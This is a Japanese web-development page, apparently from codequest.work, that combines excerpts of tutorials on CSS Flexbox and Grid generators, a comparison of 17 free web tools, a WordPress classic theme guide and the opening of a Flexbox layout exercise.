Flexboxが最も力を発揮する場面の一つが「中央揃え」です。従来のCSSでは上下中央揃えが非常に難しかったですが、Flexboxなら3行で実現できます。 水平方向の中央揃え .container { display: flex; justify-content: center; } justify-content: center; は主軸方向（デフォルトでは水平方向）にアイテムを中央に配置します。テキスト、ボタン、カードなど、あらゆる要素の水平中央揃えに使えます。 垂直方向の中央揃え .container { display: flex; align-items: center; height: 300px; /* コンテナに高さが必要 */ } align-items: center; は交差軸方向（デフォルトでは垂直方向）にアイテムを中央に配置します。コンテナに明示的な高さがないと効果が見えないので注意してください。 上下左右の完全中央揃え .container { display: flex; justify-content: center; align-items: center; height: 100vh; } justify-content: center; と align-items: center; を組み合わせるだけで、コンテナ内の要素を上下左右の中央に配置できます。ログイン画面やローディング画面など、画面中央に要素を配置したい場面で頻繁に使われるパターンです。 height: 100vh; はビューポート（画面）の高さ100%を意味します。画面全体の中央に配置したい場合はこの指定を使い、特定のセクション内で中央揃えしたい場合はそのセクションの高さを指定してください。 CSS Flexbox 無料ジェネレーター：使い方3ステップ CSS Flexboxジェネレーターは、Flexboxのプロパティを選択して、リアルタイムでレイアウトを確認しながらCSSコードを生成できる無料ツールです。 レスポンシブデザインの構築、複雑なレイアウトの実装、プロトタイプ作成や学習用途など幅広いシーンで役立ちます。Flexboxの使い方が初めての方でも、このツールを使えば各プロパティの動きを視覚的に確認しながら理解を深めることができます。 ステップ1：プロパティを設定 親要素の設定として、display: flex; を基礎に、flex-direction（要素の方向）や justify-content（主軸の整列）、align-items（交差軸の整列）を調整します。子要素についても、個別に flex-grow や flex-shrink などの配置・伸縮を設定できます。 ステップ2：プレビューを確認 設定内容がリアルタイムで反映されます。プロパティの値を変更するたびにレイアウトが即座に更新されるため、「この値を変えるとどう変わるのか」を目で見ながら学べます。 ステップ3：コードをコピーして使う 作成したCSSコードをコピーして、自分のプロジェクトに貼り付けるだけ。ジェネレーターで試したレイアウトをそのまま実装に反映できます。 CSS Flexboxの主要プロパティ一覧 Flexboxには親要素（フレックスコンテナ）に指定するプロパティと、子要素（フレックスアイテム）に指定するプロパティがあります。 親要素（フレックスコンテナ）のプロパティ プロパティ役割主な値displayFlexboxを有効化flex / inline-flexflex-directionアイテムの並ぶ方向（主軸の向き）row / row-reverse / column / column-reverseflex-wrap折り返しの制御nowrap（デフォルト）/ wrap / wrap-reversejustify-content主軸方向の配置flex-start / center / flex-end / space-between / space-around / space-evenlyalign-items交差軸方向の配置stretch（デフォルト）/ flex-start / center / flex-end / baselinealign-content複数行の交差軸方向の配置stretch / center / space-between / space-aroundgapアイテム間の余白16px / 16px 24px（行間 列間） justify-content の値の中で実務でよく使うのは center（中央揃え）、space-between（両端揃えで間を均等配分）、flex-start（左寄せ）の3つです。space-between はナビゲーションバーでロゴとメニューを左右に分ける場面で特に重宝します。 flex-wrap: wrap; は、アイテムがコンテナの幅を超えたときに自動的に折り返す設定です。レスポンシブ対応のカードレイアウトを作る際に必須のプロパティです。 子要素（フレックスアイテム）のプロパティ プロパティ役割主な値flex-grow余ったスペースをどの比率で分配するか0（デフォルト）/ 1 / 任意の数値flex-shrinkスペースが足りないときの縮小比率1（デフォルト）/ 0（縮小しない）flex-basisアイテムの基本サイズauto（デフォルト）/ 200px / 50%flexgrow / shrink / basisの一括指定flex: 1;（= 1 1 0%）/ flex: 0 0 200px;order表示順序の変更0（デフォルト）/ -1 / 1align-selfそのアイテムだけの交差軸配置を上書きauto / flex-start / center / flex-end 実務で最も使う書き方は flex: 1; です。これは「余ったスペースを均等に分配して、アイテムを伸ばす」という意味です。たとえば3つのアイテム全てに flex: 1; を指定すると、コンテナの幅を3等分します。 .item { flex: 1; /* flex-grow: 1, flex-shrink: 1, flex-basis: 0% と同じ */ } 特定のアイテムだけ固定幅にしたい場合は flex: 0 0 250px;（伸びない・縮まない・基本幅250px）と指定します。サイドバーのように「幅を固定したい要素」と「残りを埋める要素」を組み合わせるときに便利です。 Flexboxの実践レイアウト例 ここでは、実際のWebサイトでよく使われるFlexboxのレイアウトパターンを紹介します。 ナビゲーションバー Flexboxの最も代表的な使い方がナビゲーションバーです。ロゴとメニューを左右に分ける「スペース・ビトウィーン」パターンは、ほぼすべてのWebサイトで見られます。 .navbar { display: flex; justify-content: space-between; align-items: center; padding: 16px 24px; } .nav-links { display: flex; gap: 24px; } <nav class="navbar"> <div class="logo">Logo</div> <ul class="nav-links"> <li><a href="#">ホーム</a></li> <li><a href="#">サービス</a></li> <li><a href="#">お問い合わせ</a></li> </ul> </nav> justify-content: space-between; でロゴとメニューが左右に分かれ、align-items: center; で上下中央に揃います。メニュー内のリンク同士の間隔は、入れ子のFlexboxで gap: 24px; を使っています。 モバイル対応でハンバーガーメニューに切り替える場合は、メディアクエリで .nav-links を非表示にし、JavaScriptでトグル表示する実装が一般的です。 カードレイアウト（横並び＆折り返し） ブログ一覧やポートフォリオなどのカードレイアウトもFlexboxで実装できます。flex-wrap: wrap; で自動的に折り返させます。 ### [CSS Gridジェネレーター【無料】｜視覚的に組んでHTML/CSSを自動生成](https://codequest.work/grid-generator/) CSS Grid Generatorとは｜グリッドレイアウトを視覚的に作成 CSS Grid Generator（CSSグリッドジェネレーター）とは、CSSグリッドレイアウトのコードを視覚的な操作で自動生成できるWebツールです。グリッドの行数・列数・間隔を設定し、ドラッグ操作でアイテムを配置するだけで、すぐに使えるHTML/CSSコードが出力されます。 CSSグリッドレイアウトジェネレーターを使えば、grid-template-columnsやgrid-areaなどのプロパティを手書きする必要がなく、CSS Gridの初心者でも直感的にレイアウトを設計できます。当サイトのGrid Generatorは完全無料で、レスポンシブ対応のCSSコードも同時に生成します。 CSS Gridとは？初心者にもわかる基本概念 CSS Grid（グリッドレイアウト）は、Webページのレイアウトを「行と列」で構成する、CSSの2次元レイアウトシステムです。 従来のfloatやtableベースのレイアウトでは、要素の横並びやカラム配置に複雑なコードが必要でした。CSS Gridを使えば、行と列を定義するだけで、ヘッダー・サイドバー・メインコンテンツ・フッターといったWebサイトの骨格を直感的に組み立てることができます。 Flexbox（1次元レイアウト）とは異なり、CSS Gridは行方向と列方向を同時にコントロールできるため、ページ全体の骨格設計に最適です。現在はChrome・Firefox・Safari・Edgeすべてのブラウザが対応しており、グローバルカバー率は97%以上です。 Grid Generator よく使うツールはブックマークしておくと、次回からすぐにアクセスできます CSS Gridの基本的な書き方 display: grid の指定 グリッドレイアウトを有効化するには、親要素にdisplay: gridを指定します。 .grid-container { display: grid; } grid-template-columns / rows で列と行を定義 列数と行数はgrid-template-columnsとgrid-template-rowsで定義します。fr単位を使えば、利用可能なスペースを比率で分割できます。 .grid-container { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(2, 1fr); } 値の指定方法は複数あります。 指定方法説明例px固定幅200px 300pxfr利用可能スペースの比率分割1fr 2fr 1fr%コンテナ幅の割合30% 70%repeat()繰り返し指定repeat(3, 1fr)minmax()最小・最大値を設定minmax(200px, 1fr) gap で行間・列間を設定 gapプロパティで行間と列間の余白を一括設定できます。従来のmarginとは異なり、要素の外側に余白が出ないため、レイアウト管理がシンプルになります。 .grid-container { display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px; } grid-area で子要素の配置範囲を指定 子要素の配置範囲はgrid-area短縮形で一括指定できます。書式はgrid-area: 行開始 / 列開始 / 行終了 / 列終了です。当サイトのCSS Gridジェネレーターもこの形式でコードを出力します。 .item-1 { grid-area: 1 / 1 / 3 / 2; } .item-2 { grid-area: 1 / 2 / 2 / 4; } .item-3 { grid-area: 2 / 2 / 3 / 3; } また、grid-columnとgrid-rowで個別に指定する方法もあります。 .item-1 { grid-column: 1 / 2; grid-row: 1 / 3; } CSS Gridジェネレーターの使い方 当サイトのCSS Gridジェネレーターを使えば、ドラッグ操作でグリッドレイアウトを視覚的に作成し、HTML/CSSコードを自動生成できます。 ステップ1：グリッドの基本設定 画面上部のコントロールパネルで以下を設定します。 Columns / Rows：列数と行数を指定（デフォルト5×5） Gap：グリッド間のスペースをpxで指定 Width / Height：コンテナの幅と高さを設定。px・%・vw・vh・em・remの6種類の単位から選択可能 ステップ2：ドラッグでアイテムを配置 グリッド上でマウスをドラッグして、アイテムの配置範囲を選択します。複数セルにまたがる選択も可能で、選択範囲がそのままgrid-areaの値として反映されます。配置したアイテムはダブルクリックで個別に削除できます。 ステップ3：コードをコピーして使用 アイテムを配置すると、画面下部にHTML/CSSコードがリアルタイムで生成されます。コピーボタンでクリップボードにコピーし、そのままプロジェクトに貼り付けられます。 生成されるCSSには、コンテナ設定・各アイテムのgrid-area配置・レスポンシブ対応（768px以下で1カラム）の3つが含まれます。 生成されるコードの例 3列×2行のグリッドに3つのアイテムを配置した場合、以下のようなコードが生成されます。 <div class="grid-container"> <div class="item-1">1</div> <div class="item-2">2</div> <div class="item-3">3</div> </div> .grid-container { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(2, 1fr); gap: 8px; width: 100%; height: 500px; } .item-1 { grid-area: 1 / 1 / 3 / 2; } .item-2 { grid-area: 1 / 2 / 2 / 4; } .item-3 { grid-area: 2 / 2 / 3 / 3; } @media (max-width: 768px) { .grid-container { grid-template-columns: 1fr; grid-template-rows: auto; height: auto; } .grid-container > * { grid-area: auto; } } CSS Grid 親要素プロパティ一覧 プロパティ役割使用例displayグリッド有効化display: grid;grid-template-columns列の定義repeat(3, 1fr)grid-template-rows行の定義auto 200px autogrid-template-areas名前付きエリア定義"header header"gap行間・列間の余白16px 24pxjustify-itemsセル内の水平配置centeralign-itemsセル内の垂直配置centerjustify-contentグリッド全体の水平配置centeralign-contentグリッド全体の垂直配置center CSS Grid 子要素プロパティ一覧 プロパティ役割使用例grid-area配置範囲の一括指定1 / 1 / 3 / 2grid-column列方向の配置範囲1 / 3grid-row行方向の配置範囲1 / 2justify-self個別の水平配置centeralign-self個別の垂直配置end 当サイトのジェネレーターはgrid-area短縮形を使用してコードを出力します。grid-area: 行開始 / 列開始 / 行終了 / 列終了の順序で指定するため、grid-columnとgrid-rowを別々に書くより簡潔です。 実践レイアウト例 2カラムレイアウト（サイドバー＋メイン） .layout { display: grid; grid-template-columns: 250px 1fr; gap: 24px; } カード型グリッド（レスポンシブ対応） auto-fitとminmax()を組み合わせると、画面幅に応じて自動的にカード数が変わるレスポンシブレイアウトが実現できます。 .cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 20px; } 聖杯レイアウト（grid-template-areas） grid-template-areasを使えば、ページ全体の骨格を名前で管理できます。 .page { display: grid; grid-template-areas: "header header" "sidebar main" "footer footer"; grid-template-columns: 250px 1fr; grid-template-rows: auto 1fr auto; min-height: 100vh; gap: 16px; } .header { grid-area: header; } .sidebar { grid-area: sidebar; } .main { grid-area: main; } .footer { grid-area: footer; } モバイル向けにメディアクエリで1カラムに切り替えます。 @media (max-width: 768px) { .page { grid-template-areas: "header" "main" "sidebar" "footer"; grid-template-columns: 1fr; } } CSS GridとFlexboxの使い分け 項目CSS GridFlexboxレイアウト方向2次元（行と列）1次元（横or縦）配置の考え方レイアウト全体から設計要素の並び順から設計向いている場面ページ骨格・カード一覧ナビゲーション・ボタン群コンテンツ量の影響左右されにくい伸縮する GridとFlexboxは競合する技術ではなく、併用することで最も効果を発揮します。ページの骨格はGridで組み、ナビゲーションやボタン群など1次元の要素はFlexboxで整列させるのが一般的です。 実務で使えるCSS Grid Tips auto-fit と minmax() でレスポンシブカード repeat(auto-fit, minmax(200px, 1fr))を使えば、メディアクエリなしで画面幅に応じたカード数の自動調整が可能です。 はみ出し対策には minmax(0, 1fr) 1frで指定した列のコンテンツが長い場合、要素がはみ出すことがあります。minmax(0, 1fr)に変更すると、最小幅が0になりオーバーフローを防げます。 gap を margin の代わりに使う グリッドアイテム間の余白はgap（row-gap/column-gap）で設定するのが基本です。marginと違い、外側に余白が発生せず、最初・最後の要素で個別調整が不要です。 レスポンシブのブレイクポイント戦略 基本的な3段階ブレイクポイントの目安です。 ### [Web制作の無料ツール17選｜レイアウト・コード比較・SEO診断・デザイン【すべて登録不要】](https://codequest.work/css-generator-tools/) Web制作の作業ツールは、「何を入れて何が返ってくるか」と「入れたデータがどこへ行くか」の2点で選べば、ほぼ迷いません。CodeQuest.workが公開している17のツールは、レイアウト・コード比較・デザインと配色・構造チェック・画像加工の5系統に分かれ、それぞれ入力の形と出力の形が違います。 ツールのまとめ記事は数が多いほど親切に見えますが、実際に困るのは「17個あることは分かった、で、いま開くべきなのはどれか」という一点です。さらに厄介なのは、コピーしたコードや書き出した画像が本番に置いて問題ないかどうかを、自分では判定できないまま公開してしまうことです。 そこでこの記事は、紹介ではなく判定の記事として作り直しました。前半で17ツールを1枚の判定表にまとめて「いま開くべき1つ」を決め、後半で生成物が本番で通用するかを確かめる合否ラインと、外れたときの切り分けまで扱います。 なお、本記事に書いた機能・対応形式・出力内容は、すべて2026年8月1日（画像高画質化ツールのみ8月18日）に各ツールを実際に開いて確認した内容です。ツールは随時更新するため、細部は各ツールのページで最新の表示をご確認ください。ボタンの発光やガラス質感、3Dカルーセルといった装飾・アニメーション系のジェネレーターは本記事の対象外で、▶ CSS装飾・アニメーションの無料ジェネレーターまとめ に分けてあります。 どれを使うかを決める17ツール判定表 ツール選びで迷うのは、たいてい「用途」という粗い軸で並べられているからです。同じ「画像加工」でも、透過PNGが欲しいのかファイルサイズを落としたいのかで開くツールは変わります。そこで、判定に本当に効く4つの軸だけで17ツールを並べました。 判定に使う4つの軸 入力：何を渡せば動くか（数値操作／貼り付け／画像／URL） 出力：何が返ってくるか（コード／画像／診断結果） データの行き先：入れたものが自分のブラウザから出るかどうか 向かない条件：この状況なら別のツールへ、という「使わない合図」 3番目の「データの行き先」は、業務データを扱うときに真っ先に確認すべき項目です。17ツールのうち15ツールはブラウザ内だけで処理が完結し、入力した画像もコードもサーバーへ送られません（フォントペアリングのみ、書体データをGoogle FontsのCDNから読み込みます）。残る2つ、URLを入力するタイプだけが例外です。詳しくは表のあとで説明します。 17ツールの判定表 ツール入力出力データの行き先向かない条件（使わない合図）CSS Grid Generator列数・行数・gap・幅高さの数値操作HTML＋CSS（768px以下で1カラムに畳むメディアクエリ付き）ブラウザ内のみ横並び1方向だけを整えたい → FlexへCSS Flex Generatorコンテナの値＋各アイテムの order / flex / align-selfGenerated CSS（コピー可）ブラウザ内のみ行と列を同時に組みたい → GridへCodeDiff Checker2つのテキストを貼り付け左右2画面の行単位＋語単位ハイライト、全角スペース検出ブラウザ内のみ空白差分を無視したい／1画面のインライン表示で見たい（切替なし）CSSセレクタ一覧44種から選ぶ／自分のセレクタを入力デモ内のハイライト＋ヒット数＋サンプルCSSブラウザ内のみ自分のページのDOMに対して試したい → ブラウザのDevToolsへ見出しデザイン プレビューア見出しテキストとタグ（h2 / h3 / h4）style付きHTML、またはインラインstyle版ブラウザ内のみサイト全体の見出しを一括で変えたい（テーマCSS側の仕事）フォントペアリング プレビューアGoogle Fonts 20書体から見出し・本文を選択CSS＋読み込み用のlinkタグ書体はGoogle FontsのCDNから読み込む社内フォント・購入した有料フォントの検証色の辞書色名・読み・系統で検索HEX / RGB＋名前の由来と意味ブラウザ内のみ文字色と背景色のコントラスト比を判定したい画像カラーピッカー画像＋抽出する色数CSS / Tailwind / SCSS 形式のパレットブラウザ内のみブランドカラーの厳密一致（k-meansの近似値が返る）グラデーションジェネレーター273プリセットから選ぶ／白紙から作るCSS・Tailwindのコード、透過PNGブラウザ内のみ写真のような多階調表現（グラデーションの合成ではない）Direbase（ディレベース）診断したいURL100点満点のスコア＋指摘＋改善コードサーバー側から対象URLをクロールする非公開URL・社外秘ページ・ローカル環境（外部から到達できない）HTML Outline CheckerHTMLを貼り付け（URL欄はない）見出しの階層ツリー＋警告一覧ブラウザ内のみURLを入れて診断したい → DirebaseへOGPプレビューツールURL取得、または手入力でメタタグを作成7サービスぶんのカード表示＋メタタグURL取得時は外部APIへURLを送信する非公開URL・社外秘ページ（手入力モードなら送信は発生しない）AI背景透過・切り抜きJPG / PNG / WebP / AVIF（複数可）PNG（透過）／WebP（透過）／JPG（白背景）ブラウザ内のみ髪の毛や煙のような境界が曖昧な被写体の精密切り抜き画像圧縮・WebP変換JPG / PNG / WebP / AVIF / SVG（複数可）同5形式への相互変換・圧縮・リサイズブラウザ内のみ撮影日時や位置情報を残したい（EXIFは変換時に自動で消える）画像高画質化JPG / PNG / WebP / AVIF＋倍率（1.5〜4倍）と処理方式拡大・ボケ補正した画像（PNG / JPG / WebP / AVIF）ブラウザ内のみ元画像に残っていない情報を作りたい（つぶれた文字・強い手ブレは戻らない）クリッカブルエリアジェネレーター画像＋矩形・円形のドラッグ描画CSS方式（%配置・レスポンシブ）／HTML Map方式ブラウザ内のみ多角形の領域が必要（rect / circle の2種のみ）グレースケール変換ツール画像＋グレースケール強度のスライダーPNGのみブラウザ内のみJPEGで書き出したい／CMYKのモノクロ入稿データが必要 URLを入力する2つだけは扱いが違う 画像の加工・圧縮、コードの比較、CSSの生成は、いずれもブラウザ上で処理が完結し、アップロードしたデータがサーバーへ送られることはありません。一方でURLを受け取るツールは、その性質上どうしても外部との通信が発生します。 OGPプレビューツール：URL確認モードで対象ページのメタタグを取り出すため、外部の取得APIへURLを渡します。手入力の「OGP作成」モードだけを使えばこの通信は発生しません。 Direbase（ディレベース）：診断サーバーが対象URLへ実際にアクセスしてページを取得します。外部から到達できないローカル環境や、Basic認証がかかったページは診断できません。 この2つには、公開前の非公開URLや社外秘ページを入力しないでください。ステージング環境の見出し構造を確認したいだけなら、URLを渡さずにHTMLを貼り付けるHTML Outline Checkerのほうが安全です。 レイアウトを組む CSS GridとFlexboxは、プロパティの組み合わせが多く、コードだけで完成形をイメージしづらい領域です。値を動かしながら結果を見て、確定したところでコードを持ち出す、という順番のほうが速く終わります。 1. CSS Grid Generator URL：codequest.work/generator/grid/ 列数・行数・gap・コンテナの幅と高さ（px / % / vw / vh / em / rem から単位を選択）を設定し、セルをドラッグで結合してHTMLとCSSを生成します。特徴は、出力されるCSSに「768px以下では1カラムに畳む」メディアクエリが最初から含まれる点です。デスクトップの見た目を作った時点で、スマホでの最低限の破綻回避が入っています。 ホーリーグレイル・12カラム・カードギャラリー・ダッシュボードなどの定番レイアウトは、ツール本体ではなくプリセット一覧ページにまとまっています。ゼロから組む前に、近い形が既にあるかを見ておくと早いです。 詳しい使い方は「CSS Gridジェネレーター｜視覚的に組んでHTML/CSSを自動生成」で解説しています。 2. CSS Flex Generator URL：codequest.work/generator/flex/ 画面が「Flex Container」と「Flex Items」の2タブに分かれているのがこのツールの要点です。Containerタブでdisplay・flex-direction・justify-content・align-items・flex-wrap・gapを決め、Itemsタブに切り替えるとボックスごとに order / flex / align-self を個別に設定できます。ボックスはAdd Box・Remove Boxで増減できるため、実際の要素数に合わせて確認できます。 プリセットはCenter（横中央）・Space Between・Column Stack・Card Grid・Sidebar Layout・Footer Stickyの6種類です。「サイドバーだけ幅を固定して本文を伸ばしたい」のような定番は、プリセットを読み込んでからItemsタブでflexの値を触るのが最短です。 詳しい使い方は「CSS Flexbox 使い方ガイド＆ジェネレーター」で解説しています。 コードを見比べる・セレクタを確かめる 「動かないコードの、どこが手本と違うのか」を突き止める作業を支えるツールです。どちらもエディタを開かずブラウザだけで完結します。 3. CodeDiff Checker URL：codequest.work/generator/diff-checker/ 入力欄が「sample code（元のコード）」と「my code（自分のコード）」に分かれており、左右2画面で差分を並べます。行単位で色分けしたうえで、変更行はさらに語単位・文字単位まで絞り込んで表示するため、「1文字だけ違う」タイプの不具合が目で追えます。 実務でいちばん効くのは全角スペースの検出です。全角スペースは通常のエディタでは半角と見分けがつかず、CSSやJavaScriptが理由不明で壊れる原因になります。このツールは全角スペースを専用のマーカーに置き換えて表示するため、その場で位置が分かります。 一方で、表示は左右2画面に固定されており、インライン表示への切り替えや、空白・改行の差分を無視するオプションはありません（2026年8月1日時点）。インデント変更だけを除いた比較をしたい場合は、エディタやGitのdiffを使ってください。 詳しい使い方は「コード比較・差分チェックが無料でできるdiffツール」で解説しています。 4. CSSセレクタ一覧（ライブ辞典） URL：codequest.work/generator/css-selector/ タグ・クラス・ID・属性・擬似クラス・擬似要素・フォーム状態まで44種のセレクタを一覧から選ぶと、デモHTMLの該当要素がその場でハイライトされ、ヒット数とサンプルCSSが表示されます。「この書き方は何にあたるのか」を思い出すための辞典として使う想定です。 下部には「カスタムセレクタを試す」欄があり、自分で書いたセレクタをデモHTMLに対して実行してヒット数を確かめられます。li:nth-of-type(2n) のように数え方で迷う書き方は、頭の中で数えるより実行したほうが確実です。 ### [WordPress オリジナルテーマ作成ガイド｜環境構築からテンプレートファイル実装まで](https://codequest.work/wordpress-theme-template-guide/) WordPressのオリジナルテーマは、style.css と index.php の2ファイルだけで成立します。この2つを wp-content/themes/ の中に作った新しいフォルダに置くと、管理画面の「外観 > テーマ」に自作テーマとして並び、有効化できます（出典: Template Files – WordPress Developer Resources）。 ただし、テーマが一覧に出ることと、自分が書いたCSSやPHPが実際にページへ反映されていることは別の話です。テーマ作成でつまずく人の大半は、コードを書けないのではなく「いま自分がどこまで到達しているのか」を画面で判定できずに止まっています。見た目が変わらないとき、ファイルの置き場所が違うのか、読み込みが通っていないのか、単にブラウザのキャッシュなのかが切り分けられないからです。 この記事では、ローカル環境の構築 → 2ファイルの最小テーマ作成 → 有効化 → ブラウザのDevToolsによる読み込みの検証 → テンプレートファイルの追加、という順で進めます。中心にあるのは4番目の検証です。自作CSSのURLに ?ver= が付いているかどうかという1つの観測だけで、テーマがWordPressの読み込み機構を通っているかを判定できます。 なお本記事が扱うのはクラシックテーマ（.php のテンプレートファイルで組み立てるテーマ）です。ブロックテーマとの関係は最初の章で整理します。 ▶ WordPress実践ガイド（4段階の現在地を判定する）に戻る オリジナルテーマとは｜公式が必須としているのは2ファイルだけ オリジナルテーマとは、既存の配布テーマを使わず、自分でテンプレートファイルを書いて作るWordPressテーマのことです。既存テーマの子テーマとは違い、親テーマに依存しないため、出力されるHTMLを自分で完全に決められます。 必須は style.css と index.php｜functions.php と screenshot.png は任意 WordPress公式のテーマハンドブックは、クラシックテーマで index.php と style.css の2つを required（必須）と明記しています（出典: Template Files – WordPress Developer Resources）。よく「必須ファイルは4つ」と紹介されますが、残る2つは無くてもテーマは動きます。 ファイル必須か無いとどうなるかstyle.css必須冒頭のヘッダコメントを読んでテーマ一覧が作られるため、無いと「外観 > テーマ」に出てこないindex.php必須最終フォールバックのテンプレート。無いとテーマとして認識されず、有効化できないfunctions.php任意テーマは動く。ただしCSSの読み込みやメニュー登録ができないため、実務ではほぼ必ず作るscreenshot.png任意テーマは動く。管理画面のサムネイルが灰色の枠になるだけ（推奨サイズ 1200×900px） screenshot.png のサイズと、assets/ / inc/ といったフォルダ名の慣習も公式のテーマ構造ドキュメントに記載があります（出典: Theme Structure – WordPress Developer Resources）。 「認識される」条件と「表示される」条件は別 自作テーマが動かないときの原因は、ほぼこの2つのどちらかに分かれます。混ざったまま調べると原因が絞れないので、最初に分けて覚えてください。 状態満たすべき条件画面で見える症状テーマとして認識されるstyle.css の冒頭コメントに Theme Name: がある満たさないと「外観 > テーマ」の一覧そのものに出てこない有効化して表示されるindex.php が存在し、PHPの構文エラーが無い満たさないと有効化できない、または有効化後に白画面になる WordPressが style.css のヘッダコメントを読み取って管理画面の「外観（テーマ）」に情報を表示することは、公式ドキュメントに明記されています（出典: Main Stylesheet (style.css) – WordPress Developer Resources）。ファイル名も置き場所も正しいのに一覧に出ない場合は、まずこのヘッダを疑うのが最短です。 クラシックテーマとブロックテーマ｜2026年時点の現在地 WordPressのテーマには現在2つの方式があります。クラシックテーマは .php のテンプレートファイルでページを組み立てる従来型、ブロックテーマは templates/ 配下の .html ファイルと theme.json で組み立てる新しい型です。ブロックテーマの必須ファイルは style.css と templates/index.html の2つで、クラシックテーマとは必須の組み合わせ自体が違います（出典: Theme Structure – WordPress Developer Resources）。 公式ハンドブックは、ブロックテーマについて「このハンドブックは主にこの方式でのテーマ制作を扱う。それがWordPressプロジェクトの将来だからだ」と述べています（原文: “This handbook will primarily focus on building themes using this method because it is the future of the WordPress project.” 出典: What Is a Theme? – WordPress Developer Resources）。テンプレート階層の解説ページ自体も、既定ではブロックテーマ向けの .html 基準に書き換えられました。 一方で、クラシックテーマ向けのドキュメントは公式ハンドブック内に「Classic themes」として現在も維持されており、既存サイトの改修や受託案件では .php ベースのテーマを触る場面が当分残ります。両者は排他ではなく、目的で選ぶものです。 クラシックテーマブロックテーマテンプレートの実体index.php（PHP）templates/index.html（HTML＋ブロックマークアップ）必須ファイルstyle.css ＋ index.phpstyle.css ＋ templates/index.htmlデザイン設定の中心CSSファイルtheme.json とサイトエディター編集する人開発者（コードエディタ）開発者＋運用者（サイトエディター）向いている場面出力HTMLを完全に握りたい案件・既存テーマの改修運用者が管理画面でレイアウトまで触る前提の新規案件 本記事はここから先、クラシックテーマの作り方を解説します。まず1本のテーマを .php で通しで作ると、テンプレート階層とループというWordPressの中核が身につき、ブロックテーマへ移るときにも同じ知識がそのまま使えます。 ▶ 既存テーマとオリジナルテーマ、案件でどちらを選ぶかの判断基準 Step 1：ローカル開発環境を構築する（Local） テーマ開発は本番サーバーで直接行いません。PHPの構文エラーひとつでサイト全体が白画面になるためです。まずは手元のPCにWordPressが動く環境を作ります。 Localとは｜WordPress専用のローカル環境ツール Localは、WordPressのローカル開発環境をGUIだけで用意できるデスクトップアプリです。現在の正式な表記は「Local」（提供元表記は Local by WP Engine）で、公式サイトの名称もこれに統一されています（出典: Local – localwp.com）。古い解説記事では別の名称で紹介されていることがありますが、同じソフトだと読み替えてください。 WordPressの自動インストール：サイトを1つ作ると、WordPress本体・PHP・データベースがまとめて用意されます。 SSL対応：ローカルでも https で動作確認ができます。 PHPバージョンの切り替え：本番サーバーと同じPHPバージョンに合わせて検証できます。 サイトの複製：現在の状態をコピーしてから壊れる操作を試せます。 インストールと初期設定 公式サイトからOS（Windows / Mac / Linux）に合ったインストーラーをダウンロードして、インストールします。 Localを起動し、「Create a New Site」（新しいサイトを作成）をクリックします。 サイト名を入力します。ここで入れた名前がフォルダ名になるので、英数字とハイフンにしておくと後で扱いやすくなります。 環境設定は「Preferred」（推奨）のままで問題ありません。本番サーバーのPHPバージョンが分かっている場合だけ「Custom」で合わせます。 WordPressのユーザー名・パスワード・メールアドレスを設定し、サイト作成を実行すればセットアップは完了です。 作成後は、サイト一覧の「Open site」でフロント画面、「WP Admin」で管理画面（/wp-admin）を開けます。 テーマを置く wp-content/themes/ の場所を確認する テーマファイルの置き場所が分からないまま進めると、あとで「編集しているファイルと表示されているファイルが違う」という一番切り分けにくい事故が起きます。最初に実物の場所を開いて確認しておきます。 Localでサイトを選び、「Go to site folder」（サイトフォルダを開く）をクリックします。 開いたフォルダの中にある app/public/ がWordPressのインストール先です。 その下の app/public/wp-content/themes/ が、テーマを置くフォルダです。既定のテーマ（Twenty Twenty-Five など）が並んでいれば正解です。 ここに新しいフォルダを1つ作ります。フォルダ名がテーマのディレクトリ名になります（例: mytheme）。 パスを暗記する必要はありません。「Go to site folder」から辿るのが確実で、サイトの保存先を既定から変えている場合でも同じ手順で到達できます。 Step 2：2ファイルの最小テーマを作って有効化する いきなり10個以上のテンプレートファイルを作ると、動かなかったときに原因の候補が多すぎて切り分けられません。まず必須の2ファイルだけで有効化まで到達し、そこから足していきます。 style.css にテーマ情報のヘッダコメントを書く style.css の冒頭には、テーマ情報を書いたコメントブロックを置きます。WordPressはこの部分を読んでテーマ一覧を組み立てます。 /* Theme Name: My Theme Theme URI: https://example.com/mytheme/ Author: Your Name Author URI: https://example.com/ Description: 自作のクラシックテーマ。 ### [模写中級 #003 ジムサイトの交互配置レイアウト](https://codequest.work/intermediate003/) 模写中級 #003 は、ジムのランディングページを題材に「画像とテキストを左右交互に並べるレイアウト」をFlexboxだけで組み切る課題です。この並べ替えは、企業サイトのサービス紹介でも通販の商品ページでも必ず出てくる定番の型で、ここを一度自分の手で通しておくと、以降の模写で迷う時間がはっきり減ります。 逆に言えば、この課題は「見た目を似せる」ことがゴールではありません。左右の入れ替えをどこで指定するかを決め、画面幅が狭くなったときに縦積みへ正しく戻せるところまでが範囲です。 項目内容難易度中級所要時間目安3〜5時間（セクション数とCSS量からの見積もりで、計測値ではありません）使う技術HTML / CSS / Flexbox / メディアクエリ完成見本Quest Gym（このページ内にリンクがあります）この課題の的左右交互のレイアウトと、CTAブロックの幅の配り方 この課題で作るもの 作るのは「Quest Gym」という架空のフィットネスジムの1ページ完結型ランディングページです。ページを上から下へ、次の5ブロックで構成します。料金表や予約フォームは含みません。ジムサイトでよくある「特徴を3つ並べて、最後に相談へ誘導する」という一本道の構成だけを扱います。 セクション画面に置くもの主に使うCSSヘッダーとヒーローロゴ、背景写真、オープン告知、エンブレムと縦並びのナビposition: absolute / flex特徴（Point）見出し、写真2枚、特徴カード3枚flex-direction / row-reverse利用者の声（User）アイコン付きの声カード4枚flex-wrap / row-reverse相談（Contact）本文とCTAボタンflex-wrap / min-width / flex-shrinkフッターコピーライト表記text-align 完成見本は実際にブラウザで開けます。まず見本をひと通りスクロールし、画面幅を狭めたときに何がどう変わるかを見てから、自分のエディタに戻ってください。見本のHTMLとCSSはブラウザの検証ツールから読めますが、最初から答えを読むと課題になりません。詰まってから開くのが効果的です。 完成見本サイト　Quest Gym（模写中級 #003） 今回の学習ポイントは2つだけ このページには覚えどころがいくつもありますが、中級課題として意識するのは2つに絞ってかまいません。残りは初級課題までで扱った内容の組み合わせです。 ポイント1・画像とテキストを左右交互に並べる 特徴カードは「画像が左・文章が右」「画像が右・文章が左」を交互に繰り返します。この交互配置を実現する方法は2つあり、どちらか一方だけを使うのが鉄則です。 HTMLの書く順番を、カードごとに入れ替える 